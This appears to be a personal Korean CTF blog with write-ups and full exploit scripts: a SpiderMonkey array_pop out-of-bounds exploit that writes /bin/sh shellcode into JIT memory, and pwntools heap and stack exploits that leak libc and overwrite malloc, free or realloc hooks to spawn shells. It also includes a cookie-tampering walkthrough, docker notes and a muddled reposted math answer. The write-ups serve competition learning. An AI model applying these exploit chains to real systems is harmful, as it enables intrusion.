cdor1's lab

Codegate 2017 JSworld

Cdor1 — Fri, 4 May 2018 19:42:57 +0900

처음 해보는 JavaScript 엔진 익스플로잇이다.

재밌었다.

문제에서 소스를 주는데, 원본 소스를 다운받아서 디핑하고 달라진 점을 찾았다.


1947c1947,1950
< 
---
>     if (index == 0) {
>         /* Step 4b. */
>         args.rval().setUndefined();
>     } else {
1959c1962
< 
---
>     }
1964c1967
<     if (obj->isNative())
---
>     if (obj->isNative() && obj->getDenseInitializedLength() > index)

js::array_pop(JSContext *cx, unsigned argc, Value *vp)

array_pop부분인데 index==0체크와 바운드체크가 사라져서 index변수를 오버플로우 시킬수있다.

uint32_t index;

index는 uint32_t이기에 4294967295가 되어서 pop으로 오버플로우 시킨 배열에서 oob가 일어난다.

oob가 생겼으니 익스플로잇 단계를 짜봤다.

1. Uint32Array객체 만들고 객체가 담긴 주소 leak - 배열 사이즈를 기반으로 인덱스 구함. (oob[i] == 0x1000)

2. Uint32Array객체 pointer 덮어써서 AAR, AAW

3. AAR 이용해서 JIT(rwx)영역 주소 leak하기 - 같은 함수를 연속적으로 불러서 JIT를 사용하도록 유도한 후 JIT주소 주변 고정적인 값 기반으로 인덱스 구함.(oob[i] == '0000017000000181')

4. AAW 이용해서 JIT(rwx)영역 쉘코드로 덮어쓰기

4. JIT call && get shell

중점적인 내용

data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);

쉘코드에서 문자열로 4바이트 파싱

sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);

2바이트씩 끊어서 저장하고 리버스시켜서 little endian에 맞춰줌. 0x붙여서 parseInt로 문자열->정수변환

d_to_i2(data)

e-notation으로 나오는 값 Float64로 받아서 Uint32로 변환(read)

i2_to_d(data)

Uint32받아서 e-notation으로 변환(write)


function d_to_i2(data){
	var a = new Uint32Array(new Float64Array([data]).buffer);
	return [a[1], a[0]];
}

function i2_to_d(data){
	return new Float64Array(new Uint32Array([data[1], data[0]]).buffer)[0];
}

function i2_to_hex(data){
	var v1 = ("00000000" + data[0].toString(16)).substr(-8);
	var v2 = ("00000000" + data[1].toString(16)).substr(-8);
	return [v1, v2];
}

function p_i2(data){
	print(i2_to_hex(d_to_i2(data))[0] + i2_to_hex(d_to_i2(data))[1]);
}
var trigger = new Array(1);
trigger[0] = 0x41414141;
var array = new Uint32Array(0x1000);

for(var i = 0; i<0x1000; i++){
	array[i] = 0x42424242;
}

trigger.pop();
trigger.pop();

var offset = 0;
print('oob triggered : ' + trigger.length);
for(var i = 0; i<0x1000; i++){
	if(trigger[i] == 0x1000){
		offset = i + 2;
		print('Uint32Array offset : ' + offset);
		print('Uint32Array data : ' + trigger[offset]);
		p_i2(trigger[offset]);
		break;
	}
}

for(var i = 0; i<20; i++){
	getshell(1)
}

jit_address_offset=0
for (i=0x0; i<0x10000; i++)
{
        hx=i2_to_hex(d_to_i2(trigger[i]))
        if(hx[0]+hx[1]=='0000017000000181')
        {
                print('function found');
                jit_address_offset=i-2
		print('jit offset : ' +	jit_address_offset);
                print('jit data : ' + trigger[jit_address_offset]);
		p_i2(trigger[jit_address_offset]);
		break;
        }
}
function getshell(args1){
	print("SHELL");
}

function write(addr, data){
	        trigger[offset] = i2_to_d(addr);
		array[0] = data;
}

function read(addr){
	        trigger[offset] = i2_to_d(addr);
		return array[0]
}
function shellcode_to_jit(addr, shellcode){
	var sc=[];
	var data='';
	var shellcode_idx = 0;
	for(var i = 0; i < shellcode.length; i+=4){
		for(var j = 0; j<4; j++){
			data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);
		}
		sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);
		data = '';
		shellcode_idx++;
	}
	for(var i = 0; i < shellcode.length; i++){
		addr[1] += 4;
		write(addr, sc[i]);
	}
}
var shellcode = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";
shellcode_to_jit(d_to_i2(trigger[jit_address_offset]), shellcode);
getshell(1);

ref : https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/

codegate 2017 review

Cdor1 — Mon, 29 Jan 2018 22:51:25 +0900

petshop


from pwn import *
s = process('./petshop')
raw_input()

def buy(select):
    print s.recvuntil('select:\n')
    s.sendline('1')
    print s.recvuntil('select:\n')
    s.sendline(str(select))

def sell():
    print s.recvuntil('select:\n')
    s.sendline('2')

def sound(select):
    print s.recvuntil('select:\n')
    s.sendline('3')
    print s.recvuntil('select for sound:\n')
    s.sendline(str(select))

def set_pet(select, name, sound, feed):
    print s.recvuntil('select:\n')
    s.sendline('4')
    print s.recvuntil('select for set:\n')
    s.sendline(str(select))
    print s.recvuntil('name:\n')
    s.sendline(name)
    print s.recvuntil('sound:\n')
    s.sendline(sound)
    print s.recvuntil('feed:\n')
    s.sendline(feed)

def list():
    print s.recvuntil('select:\n')
    s.sendline('5')

def set_name(name):
    print s.recvuntil('select:\n')
    s.sendline('6')
    print s.recvuntil("What's your name?\n")
    s.sendline(name)

buy(1)
set_name('dddd')
set_pet(1, 'aaaa', 'bbbb', 'c'*12 + p64(0x604088) + '\x10')
list()
print s.recvuntil('person:')
libc_leak = u64(s.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - 0xa59d0
oneshot = libc_base + 0xf1147
system = libc_base + 0x45390
log.info('libc : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))

buy(1)
set_pet(2, ';/bin/sh;', ';/bin/sh;', 'c'*12 + p64(0x604088) + '\x10' + '/bin/sh;'*0x10)

set_name(p64(system)[:-1])

s.interactive()

owner


from pwn import *
s = process('./owner')

def go_back():
    print s.recv(4096)
    s.sendline('-1')

def add_apart(name, floor, house, something):
    print s.recvuntil('> ')
    s.sendline('1')
    print s.recvuntil("What is your apartment's name? \n")
    s.sendline(name)
    print s.recvuntil('How many floor on your apartment? ')
    s.sendline(str(floor))
    print s.recvuntil('How many house in each floor? ')
    s.sendline(str(house))
    print s.recvuntil('Describe something about it :')
    s.sendline(something)

def edit(select1, select2, modify_select=0, new=0, flag=0): # -1 -1 -1
    print s.recvuntil('> ')
    s.sendline('4')
    print s.recvuntil('> ')
    s.sendline('1')
    print s.recvuntil('> ')
    s.sendline(str(select1))
    print s.recvuntil('> ')
    s.sendline(str(select2))
    if flag:
        print s.recvuntil('> ')
        s.sendline(str(modify_select))
        print s.recv()
        s.sendline(new)

def change(select1, select2, select3): # -1 -1
    print s.recvuntil('> ')
    s.sendline('4')
    print s.recvuntil('> ')
    s.sendline('2')
    print s.recvuntil('> ')
    s.sendline(str(select1))
    print s.recvuntil('> ')
    s.sendline(str(select2))
    print s.recvuntil('> ')
    s.sendline(str(select3))

add_apart('1234', '1234', '1234', '1234')
add_apart('1234', '1234', '1234', '1234')
change(1, 1, 2)
go_back()
go_back()
edit(3, 1)
print s.recvuntil('Normal price of menu : ')
heap_leak = int(s.recv(14))
heap_base = heap_leak - 0x12cf0
log.info('heap_leak : ' + hex(heap_leak))
log.info('heap_base : ' + hex(heap_base))

go_back()
go_back()
go_back()

edit(1, 1, 1, 'a'*0x100, 1)
go_back()
go_back()
go_back()
change(1, 1 ,2)
go_back()
go_back()
edit(3, 2)
print s.recvuntil('Normal price of menu : ')
libc_leak = int(s.recv(15))
libc_base = libc_leak - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0xf02a4
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
go_back()
go_back()
go_back()
edit(3, 1, 6, str(malloc_hook), 1)
go_back()
go_back()
go_back()
edit(1, 1, 1, p64(oneshot), 1)
go_back()
go_back()
go_back()
s.sendline('5')
s.interactive()

타원곡선, 모듈형식 (모듈러성 정리)

Cdor1 — Sun, 21 Jan 2018 18:52:55 +0900

[질문-폭풍속으로]
영국의 정수론 학자 엔드루 와일즈가 타니야마-시무라의 추론(현재는 증명이 되었으니까 정리라는 표현이 옳을 것 같습니다)을 증명함으로서 페르마의 마지막 정리를 증명하였습니다.
타니야마-시무라의 추론은 [모든 타원곡선은 하나의 모듈형태에 대응한다]입니다.
여기서 말하는 타원곡선은 말그대로의 타원곡선이 아니고 정수론의 한 분야라고 하던데요, 타원곡선에 대해서 알고 계신분이 있으면 간단해도 좋은니까 설명을 부탁드립니다.
또 모듈형태라는 것이 정수론의 분야는 아니지만 타원곡선과 관계가 있다고하니까 모듈형태에 대해서도 가르쳐주시면 감사하겠습니다.

[답변1. by add1 님]
모듈 형태란 그림으로 표현할 수 없습니다. 상상할 수도 없는 존재구요. 모듈 형태 역시 두개의 기준축상에서 정의되긴 하지만 각각의 축에는 실수가 아닌 복소수가 대응되요. 즉 축상의 한 점에 대응되는 수는 실수부와 허수부를 모두 갖고 있는겁니다. 모듈 형태는 두개의 복소수 축이 만드는 평면 중 위쪽 상반부에서만 정의됩니다. 하지만 두개의 복소수 축이 만드는 공간은 네 개의 좌표 x, y, x허수부, y허수부 에 의해 정의되므로 4차원의 공간이기 때문입니다. 이 4차원 공간을 하이퍼볼릭 공간이라구도 부르는데여. 우리가 3차원 공간만 인식하면서 살기 때문에 이 공간이 4차원이라는 것을 간과하고 있구요. 수학적으로 우주는 분명히 4차원이죠. 모듈 형태는 병진대칭, 교환대칭, 반전대칭, 회전대칭 등.. 대부분의 변환에 대하여 대칭성을 갖고 있구여. 하이퍼볼릭 공간에 존재하는 모듈 형태는 다양한 형태와 크기를 갖고 있지만 이들 모두는 동일한 기초에서 형성된 거죠. 이 구성 요소는 1부터 무한대까지 m1,m2,m3,m4... 등으로 표현되구여. 첫번째 구성 요소가 1개이면 m1=1 두번째 구성요소가 3개이면 m2=3 가 되져.. 모듈 형태의 구조를 설명해 주는 이 갑들을 나열해 놓은 급수를 모듈 급수라고 해여. 즉, m급수라고 하죠. 모듈 급수에 나타나 있는 구성요소를 변화시키면 동일한 대칭성을 가지면서도 완전히 다른 모듈 형태를 만들어낼 수 있거나 아예 대칭성을 완전히 잃어버려 더 이상 모듈 형태가 아닌 새로운 대상을 만들어낼 수 있다네여. 모듈은 타원방정식과는 연관이 없다구 믿어왔다는군여. 타원방정식은 대칭성과는 아무런 관계가 없기 때문이에여. 모듈과 타원은 둘 다 수학이지만 분야가 너무도 판이하게 달라서 둘 사이에 모종의 관계가 있을 것이라는 사람은 없었다구해여. 아시겠지만 타니야마 시무라의 추론은 그러한 발상을 뒤집는.. 타원방정식과 모듈 형태가 근본적으로 동일하다는 내용이었져.. 타원방정식과 타니야마 시무라의 추론이 왜 정수론에 나오느냐.. 제생각이지만. 페르마의 정리의 증명과정이기 때문이라생각합니다. 써놓구도 무슨말인지 잘모르겠네여. 제가 부족하기땜쉬.. 나름대로 모듈을 이해하시는 분들은 답글 적어주심 감사하겠네여. 더 알고싶네여

[답변2. by 형세 님]
http://www.math-atlas.org/welcome.html
이곳을 방문하셔서 14H52의 elliptic curves 를 검색해 보십시오. 그리 도움이 되지는 않겠지만 아쉽게나마 궁금증을 해결하실 듯 합니다.
혹시 reference라면 UTM에서 나온 Tate의
"Rational points on elliptic curves"를 보십시오. 이 분야에서 학부수준의 대수로 볼 수 있는 유일한(?)책이지 않을까 싶습니다. 쉬우면서도 깊은 내용까지 다루었습니다.

출처 : http://cafe323.daum.net/_c21_/bbs_search_read?grpid=KKzs&fldid=Fy6u&contentval=00027zzzzzzzzzzzzzzzzzzzzzzzzz&nenc=&fenc=&q=&nil_profile=cafetop&nil_menu=sch_updw

WHL_CAT-security start

Cdor1 — Tue, 28 Nov 2017 21:15:12 +0900


from pwn import *
import sys

DEBUG = True
server = "127.0.0.1"
port = 11111
p = None
target = "./start_whl"
if len(sys.argv) > 1:
	DEBUG = False
	pass
else:
	#p = remote('10.10.134.127', 30000)
	p = process(target, env={'LD_PRELOAD':'./libc.so.6'})

def add(name, age, feature):
	p.sendline('1')
	print p.recv()
	p.send(name)
	print p.recv()
	p.sendline(str(age))
	print p.recv()
	p.send(feature)

def delete(index):
	p.sendline("2")
	print p.recv()
	p.sendline(str(index))
	print p.recvuntil(recv_until)

def overwrite(index, overwrite):
	p.sendline('3')
	print p.recv()
	p.send(str(index))

recv_until = ">>>"
print p.recv()
add('a'*20, '1234','a'*80)
overwrite(4294967290, 0)
print p.recv()
p.sendline('2')
print p.recvuntil('FEATURE : ')
leak = u64(p.recv(6).ljust(8,'\x00'))
base = leak - 0x3c4963
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
p.sendline('1')

p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('a'*79)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('1')
print p.recv()
p.sendline('a'*19)
print p.recv()

p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.send(p64(base+0xf0274)*10)
print p.recv()
add('a'*20, '1', p64(base+0xf0274)*10)
overwrite(4294967292, 0)
raw_input()
print p.recv()
p.sendline('2')
print p.recv()
p.sendline(str(0x5d))

p.interactive()

조건을 잘 맞추어 주면 하위 1바이트를 덮어낼 수 있는데

dl_runtime_resolve를 add rsp + 0x30, ret있는 부분으로 맞춰주게 되면

한번도 콜 된적 없던 exit()함수가 resolve함수를 통해서 libc 주소를 가져오는 과정에서 스택이 리프팅되고

후에 stack_chk_fail을 부르면서도 resolve함수를 통해 스택이 다시 리프팅되고 ret되어 우리가 써준 원샷 가젯으로 rip를 돌릴 수 있다.

overwirte dl_runtime_resolve, (stack lift, ret) * 2

WITHCON2017 calc

Cdor1 — Thu, 16 Nov 2017 01:32:11 +0900

c++로 짜여진 계산기 문제다.

a = "AAA"

a = 90

으로 공동 사용하는 size값을 속여버리면 overflow가 가능해지고 밑에있는 포인터를 덮어 익스플로잇 가능하다.


from pwn import *
s = process('./calc')

def rv():
    print s.recv()

rv()
s.sendline('a')
rv()
s.sendline('')
rv()
s.sendline('')
rv()
s.sendline('')
print s.recv().encode('hex')
print s.recvuntil('>>> ')
print s.recvuntil('>>> ')
leak = u32(s.recv(4)) - 0x20c7b0
realloc_hook= leak + 0x20c764
system = leak + 0x91060
log.info('leak : ' + hex(leak))
log.info('realloc_hook : ' + hex(realloc_hook))
rv()
s.sendline('a="AAA"')
rv()
s.sendline('a=90')
rv()
s.sendline('a="ASDFASDFASDFASDF' + p32(realloc_hook - 3) + 'F' + '"')
raw_input()
rv()
s.sendline('a="sh;' + p32(system) + '"')
rv()
s.sendline('a="AAAAAAAAAAAAAAAAAAAAAAAA"')
s.interactive()


#include 
#include 
#include 
#include 
#include 
#include 
#include 
using namespace std;

enum struct T:char { END, INT, PLUS, UPLUS, MINUS, UMINUS, MUL, DIV, LP, RP, ID, ASSIGN, STR, EXIT };

void print(char *s, int n) {
    if (n > 0) fwrite(s, 1, n, stdout);
}

typedef struct Token {
    char* str;
    union {
        int size;
        int value; //
    };
    T type;
    Token(T type) : type(type) {};
    Token(T type, int value) : value(value), type(type) {};
    Token(T type, char* str) : str(str), size(strlen(str)), type(type) {};
    ~Token() { if (type == T::ID || type == T::STR) free(str); }
} *pToken;
using sToken = shared_ptr;

class Lexer {
    int pos;
    string input;
    pToken readId();
    pToken readStr();
    pToken readDigit();
public:
    Lexer(string &input) : pos(0), input(input) {};
    pToken nToken();
};

pToken Lexer::readDigit() {
    auto i = 0;
    while (isdigit(input[pos])) i = i * 10 + input[pos++] - '0';
    if (i > 99) throw "does not support integer bigger than 99";
    return new Token(T::INT, i);;
};

pToken Lexer::readId() {
    auto limit = 0;
    auto start = pos;
    while (isalnum(input[pos++])) if (++limit > 1337) throw "does not support ID longer than 1337";
    if (!strncmp("exit", input.substr(start, pos--).c_str(), 4)) return new Token(T::EXIT);
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw "Internal Error";
    strncpy(str, input.substr(start, pos).c_str(), pos - start);
    return new Token(T::ID, str);
};

pToken Lexer::readStr() {
    auto limit = 0;
    auto start = ++pos;
    while (input[pos++] != '"') if (++limit > 1337) throw "does not support string longer than 1337";
    --pos;
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw "Internal Error";
    strncpy(str, input.substr(start, pos - 1).c_str(), pos++ - start);
    return new Token(T::STR, str);
};

pToken Lexer::nToken() {
    while (input[pos] == ' ') pos++;
      if (pos == input.length()) return new Token(T::END);
    if (isdigit(input[pos])) return readDigit();
    if (isalpha(input[pos])) return readId();
    if (input[pos] == '+') return new Token(T::PLUS, input[pos++]);
    if (input[pos] == '-') return new Token(T::MINUS, input[pos++]);
    if (input[pos] == '*') return new Token(T::MUL, input[pos++]);
    if (input[pos] == '/') return new Token(T::DIV, input[pos++]);
    if (input[pos] == '(') return new Token(T::LP, input[pos++]);
    if (input[pos] == ')') return new Token(T::RP, input[pos++]);
    if (input[pos] == '"') return readStr();
    if (input[pos] == '=') return new Token(T::ASSIGN, input[pos++]);
    throw "Lexer Error";
};

struct Node {
    shared_ptrtoken;
    vector>children;
    Node(sToken token) : token(token) {};
};
using sNode = shared_ptr;

class Parser {
    shared_ptr lexer;
    shared_ptr cur;
    void next(T);
    sNode factor();
    sNode term();
    sNode expr();
    sNode assign();
public:
    Parser(shared_ptr lexer) : lexer(lexer), cur(lexer->nToken()) {};
    sNode parse();
};

void Parser::next(T type) {
    if (cur->type == type) cur.reset(lexer->nToken());
    else throw "Parser Error";
};

sNode Parser::factor() {
    auto node = make_shared(cur);
    auto osNode = make_shared(cur);
    switch (cur->type) {
        case T::LP:
            next(T::LP);
            node = expr();
            next(T::RP);
        break;
        case T::PLUS:
        case T::MINUS:
            cur->type = cur->type == T::PLUS ? T::UPLUS : T::UMINUS;
            next(cur->type);
            osNode->children.push_back(factor());
            node = osNode;
        break;
        case T::ID:
        case T::INT:
        case T::STR:
        case T::MUL:
        case T::DIV:
        case T::EXIT:
            next(cur->type);
        break;
    };
    return node;
};

sNode Parser::term() {
    auto node = factor();
    while (true) {
        if (cur->type == T::MUL || cur->type == T::DIV) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = factor();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::expr() {
    auto node = term();
    while (true) {
        if (cur->type == T::PLUS || cur->type == T::MINUS) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = term();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::assign() {
    auto node = expr();
    while (true) {
        if (cur->type == T::ASSIGN) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = expr();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::parse() {
    auto result = assign();
    if (cur->type != T::END) throw "Parser Error";
    return result;
};

static struct Symbol {
    char* id;
    sToken token;
    Symbol* next;
    Symbol(){};
    Symbol(char *str, sToken token) : token(token) {
        id = (char*) calloc(strlen(str) + 1, 1);
        if (!id) throw "Internal Error";
        strcpy(id, str);
    };
} SymTab;

class Calc {
    sToken visitor(sNode);
    sToken visitUnaryOp(sNode);
    sToken visitBinaryOp(sNode);
    sToken visitId(sNode);
    sToken visitAssign(sNode);
public:
    void interpret(sNode);
};

sToken Calc::visitor(sNode node) {
    switch (node->token->type) {
        case T::EXIT:
            print((char*)"Bye\n", 4);
            exit(0);
        case T::END:
            return node->token;
        case T::INT:
        case T::STR:
            return node->token;
        case T::UPLUS:
        case T::UMINUS:
            return visitUnaryOp(node);
        case T::PLUS:
        case T::MINUS:
        case T::MUL:
        case T::DIV:
            return visitBinaryOp(node);
        case T::ASSIGN:
            return visitAssign(node);
        case T::ID:
            auto check = visitId(node);
            if (!check) throw "Symbol Error";
            return check;
     };
     throw "Syntax Error";
};

sToken Calc::visitUnaryOp(sNode node) {
    auto result = 0;
    auto op = visitor(node->children[0]);
    if (op->type == T::INT) result = op->value;
    else if(op->type == T::STR) result = atoi(op->str);
    else throw "Syntax Error";
    return make_shared(T::INT, node->token->type == T::UPLUS ? +op->value : -op->value);
};

sToken Calc::visitBinaryOp(sNode node) {
    auto left = 0;
    auto right = 0;
    auto leftToken = visitor(node->children[0]);
    auto rightToken = visitor(node->children[1]);
    if (leftToken->type == T::INT) left = leftToken->value;
    else if(leftToken->type == T::STR) left = atoi(leftToken->str);
    else throw "Syntax Error";
    if (rightToken->type == T::INT) right = rightToken->value;
    else if(rightToken->type == T::STR) right = atoi(rightToken->str);
    else throw "Syntax Error";
    switch (node->token->type) {
        case T::PLUS:
            return make_shared(T::INT, left + right);
        break;
        case T::MINUS:
            return make_shared(T::INT, left - right);
        break;
        case T::MUL:
            return make_shared(T::INT, left * right);
        break;
        case T::DIV:
            return make_shared(T::INT, left / right);
        break;
    };
};

sToken Calc::visitId(sNode node) {
    sToken result = nullptr;
    auto symbol = &SymTab;
    while (symbol->next != &SymTab) {
        symbol = symbol->next;
        if (!strncmp(node->token->str, symbol->id, strlen(symbol->id))) {
            result = symbol->token;
            break;
        }
    };
    return result;
};

sToken Calc::visitAssign(sNode node) {
    auto var = node->children[0];
    auto value = visitor(node->children[1]);
    if (var->token->type != T::ID || !value) throw "Syntax Error";
    if (auto variable = visitId(var)) {
        if (variable->type == T::STR && value->type == T::STR) {
            if (variable->size < value->size) variable->str = (char*)realloc(variable->str, value->size + 1);
            if (!variable->str) throw "Internal Error";
            variable->size = strlen(variable->str);
            strcpy(variable->str, value->str);
        } else if (variable->type == T::INT && value->type == T::STR) variable->value = atoi(value->str);
        else variable->value = value->value;
    } else {
        auto symbol = &SymTab;
        while (symbol->next != &SymTab) symbol = symbol->next;
        symbol->next = new Symbol(var->token->str, value);
        symbol->next->next = &SymTab;
    }
    return value;
};

void Calc::interpret(sNode AST) {
    auto result = visitor(AST);
    if (result->type == T::INT) {
        auto buf = to_string(result->value);
        print((char*)buf.c_str(), buf.length());
    } else {
        if (result->size > 4) print(result->str, 4);
        else print(result->str, result->size);
    }
};

int main() {
    SymTab.next = &SymTab;
    signal(SIGALRM, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    cout << "Calc 0.31337 (" __DATE__ ", " __TIME__ ")" << endl;
    while (true) {
        string input;
        alarm(5);
        print((char*)">>> ", 4);
        getline(cin, input);
        try {
            shared_ptrlexer(new Lexer(input));
            shared_ptrparser(new Parser(lexer));
            shared_ptrcalc(new Calc());
            calc->interpret(parser->parse());
        } catch(const char *s) {
            print((char*)s, strlen(s));
        }
        alarm(0);
        print((char*)"\n", 1);
    }
    return 0;
}

Simple Docker Command

Cdor1 — Wed, 1 Nov 2017 03:16:04 +0900

This post described centered on pwnable.tw docker environment

1. Build container

Enter this command in the path containing the Dockerfile

docker build -t [name]:[tag]

docker build -t critical_heap:1.0

2. Check container

docker images

3. Run container

docker run -it [name]:[tag] [command]

docker run -it critical_heap:1.0 /bin/bash

noe.systems Newbie - Bakery

Cdor1 — Wed, 13 Sep 2017 02:50:45 +0900

noe.systems 사이트에 접속해서 Newbie 카테고리의 Bakery 문제를 보았다.

go 버튼을 눌러 문제로 들어오니 Hello! guest라는 문자열을 띄워주고 admin이 아니라면 페이지를 읽을 수 없다는 말을 한다.

쿠키를 이용해서 클라이언트의 정보를 비교하는 것 같다.

#쿠키란?

1. 쿠키 (Cookie)

- 서버에 접속시 접속한 클라이언트의 정보를 클라이언트에 저장한다.

- 이후에 서버로 전송되는 요청에는 쿠키가 가지고 있는 정보가 같이 포함되어서 전송

- 크기는 4KB이하

- 쿠키는 이름, 값, 유효기간, 도메인, 경로 등으로 구성

클라이언트의 정보를 저장하는 쿠키를 한번 확인해 보자, 크롬 브라우저 추가 프로그램 중 EditThisCookie를 받고 확인해보면 될 것 같다.

guest로 저장된 쿠키값이 보인다.

admin으로 바꾸고 새로고침을 한번 해보자.

플래그(키)가 나왔고 답안창에 인증 하면 된다.

pwnable.tw babystack

Cdor1 — Thu, 31 Aug 2017 16:06:11 +0900


from pwn import *

#s = remote('chall.pwnable.tw', 10205)
s = process('./babystack',env={'LD_PRELOAD':'./libc_64.so.6'})

password = ''
libc_leak = ''
def input_passwd(passwd):
    s.recvuntil('>> ')
    s.sendline('1')
    s.recvuntil('Your passowrd :')
    s.send(passwd)
    return s.recvuntil('!')

def cp(data):
    s.recvuntil('>> ')
    s.sendline('3')
    s.recvuntil(' :')
    s.send(data)

for i in range(0, 16):
    for j in range(1, 0x100):
        b = input_passwd(password + struct.pack('> ')
            s.sendline('1')
            break

input_passwd((password + '\x00').ljust(0x48, 'a'))
cp('b'*24)
s.sendline('1')

for a in range(0, 6):
    for c in range(1, 0x100):
        b = input_passwd('a'*8 + libc_leak + struct.pack('> ')
            s.sendline('1')
            break

libc_leak = u64(libc_leak + '\x00\x00')
libc_base = libc_leak - 0x78439
system = libc_base + 0x45390
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))

payload = p64(0)
payload += 'c'*0x38
payload += password
payload += 'd'*0x18
payload += p64(system)
input_passwd(payload)
cp('A'*8)

s.sendline('2;sh\x00')
#make padding
#cover return addr
#2;/bin/sh\x00
s.interactive()

스택 피보팅 해주면서 strncmp로 패스워드와 libc leak. strcpy이후 피보팅되어서 select가르키니까 rdi에 2;sh\x00들어가고 get shell

WHL_Cykor - Cylogger

Cdor1 — Wed, 30 Aug 2017 01:39:39 +0900

서브취약점(OOB-Out Of Bound) 브포해서 풀었지만 실수로 쉘을 날려보낸 슬픈 스토리가 있는 익스코드이다.


from pwn import *
#s = process('./cylogger', env={'LD_PRELOAD':'./libc.so.6'})

while True:
	try:
		s = remote('10.10.200.203', 10002)
		def Leave(select, size, data):
			s.recvuntil('>> ')
			s.sendline('L')
			s.recvuntil('>> ')
			s.sendline(str(select))
			if(select == 1):
				s.recvuntil('Size of Log >>')
				s.sendline(str(size))
			s.sendline(data)

		def See(index):
			s.recvuntil('>> ')
			s.sendline('S')
			s.recvuntil('Index >> ')
			s.sendline(str(index))

		def Remove(index):
			s.recvuntil('>> ')
			s.sendline('R')
			s.recvuntil('Index >> ')
			s.sendline(str(index))

		def reseT():
			s.recvuntil('>> ')
			s.sendline('T')

		def Change(index, data):
			s.recvuntil('>> ')
			s.sendline('C')
			s.recvuntil('Index >> ')
			s.sendline(str(index))
			s.sendline(data)

		def All():
			s.recvuntil('>> ')
			s.sendline('A')

		print s.recvuntil('Ur Name? >>')
		s.sendline('cdor1')
		Leave(1, 1024, 'aaaa')
		Leave(1, 1024, 'bbbb')
		Leave(1, 1024, 'cccc')
		Remove(0)
		Remove(1)
		Leave(1, 1024, 'bbbbbbbb')
		See(1)
		s.recvuntil('bbbbbbbb\n')
		leak = u64(('\x68' + s.recv(5)).ljust(8, '\x00'))
		base = leak - 0x3c2068
		system = base + 0x456a0
		free_hook = base + 0x3c3788
		log.info('leak : ' + hex(leak))
		log.info('base : ' + hex(base))
		log.info('system : ' + hex(system))
		log.info('free_hook : ' + hex(free_hook))
		Change(1, 'b'*16)
		See(1)
		s.recvuntil('Log : bbbbbbbbbbbbbbbb\n')
		heap_leak = u64(('\x00' + s.recv(5)).ljust(8, '\x00'))
		log.info('heap_leak : ' + hex(heap_leak))
		Remove(1)
		Remove(2)

		payload = p64(heap_leak + 0x28)
		payload += p64(0)*2
		payload += p64(heap_leak + 0x28 + 8)
		payload += p64(1)
		payload += p64(free_hook)
		payload += p64(0x64)
		payload += p64(heap_leak + 0x28 + 8) * 120

		Leave(1, 1024, payload)
		for i in range(0, 100):
			Leave(1, 1024, p64(heap_leak + 0x28 + 8) * 127)
		reseT()

		log.info('leak : ' + hex(leak))
		log.info('base : ' + hex(base))
		log.info('system : ' + hex(system))
		log.info('free_hook : ' + hex(free_hook))
		log.info('heap_leak : ' + hex(heap_leak))
		#raw_input()
		Change(606858, p64(system))
		Leave(1, 100, '/bin/sh\x00')
		Remove(0)

		s.sendline("ls")
		print p.recv()
		s.sendline("./flag_x")
		print p.recv()
		s.interactive()
	except Exception as e:
		pass
	finally:
		s.close()

원래 취약점 익스코드 by Demon-이진우


from pwn import *
s = process('./cylogger', env={'LD_PRELOAD':'./libc.so.6'})
#s = remote('10.10.200.203', 10002)

# login
name = 'qwer'
s.recvuntil('>>')
s.sendline(name)

def go(n):
    nl = [0,'L','S','R','T','C','A','E']
    s.recvuntil('xit')
    s.recvuntil('>>')
    s.sendline(nl[n])

def make(t,m,sz=None):
    go(1)
    s.recvuntil('>>')
    s.sendline(str(t))
    if t == 2:
        s.send(m)
    else:
        s.recvuntil('ize of Log >>')
        s.sendline(str(sz))
        s.send(m)

def rm(t): 
    go(3)
    s.recvuntil('Index >>')
    s.sendline(str(t))

def se(t,tt):
    go(5)
    s.recvuntil('Index >>')
    s.sendline(str(t))
    s.send(tt)

for i in range(3):
    make(1,'a',256)

rm(2)
make(1,'a',256)
go(6)
s.recvuntil('[2')
s.recvuntil('Log : a')
lbc = u64('\x00'+s.recvline().replace('\n','').ljust(7,'\x00'))-2816
rm(3);rm(2);rm(1);rm(0)
make(2,'A')
go(6)
s.recvuntil('[0] Log : A')
hp = u64('\x00'+s.recvline().replace('\n','').ljust(7,'\x00'))
rm(0)
for i in range(2):
    make(1,'A'*240+'\x00'*8+'\x30'+'\x00'*7,256)
rm(1);rm(0)
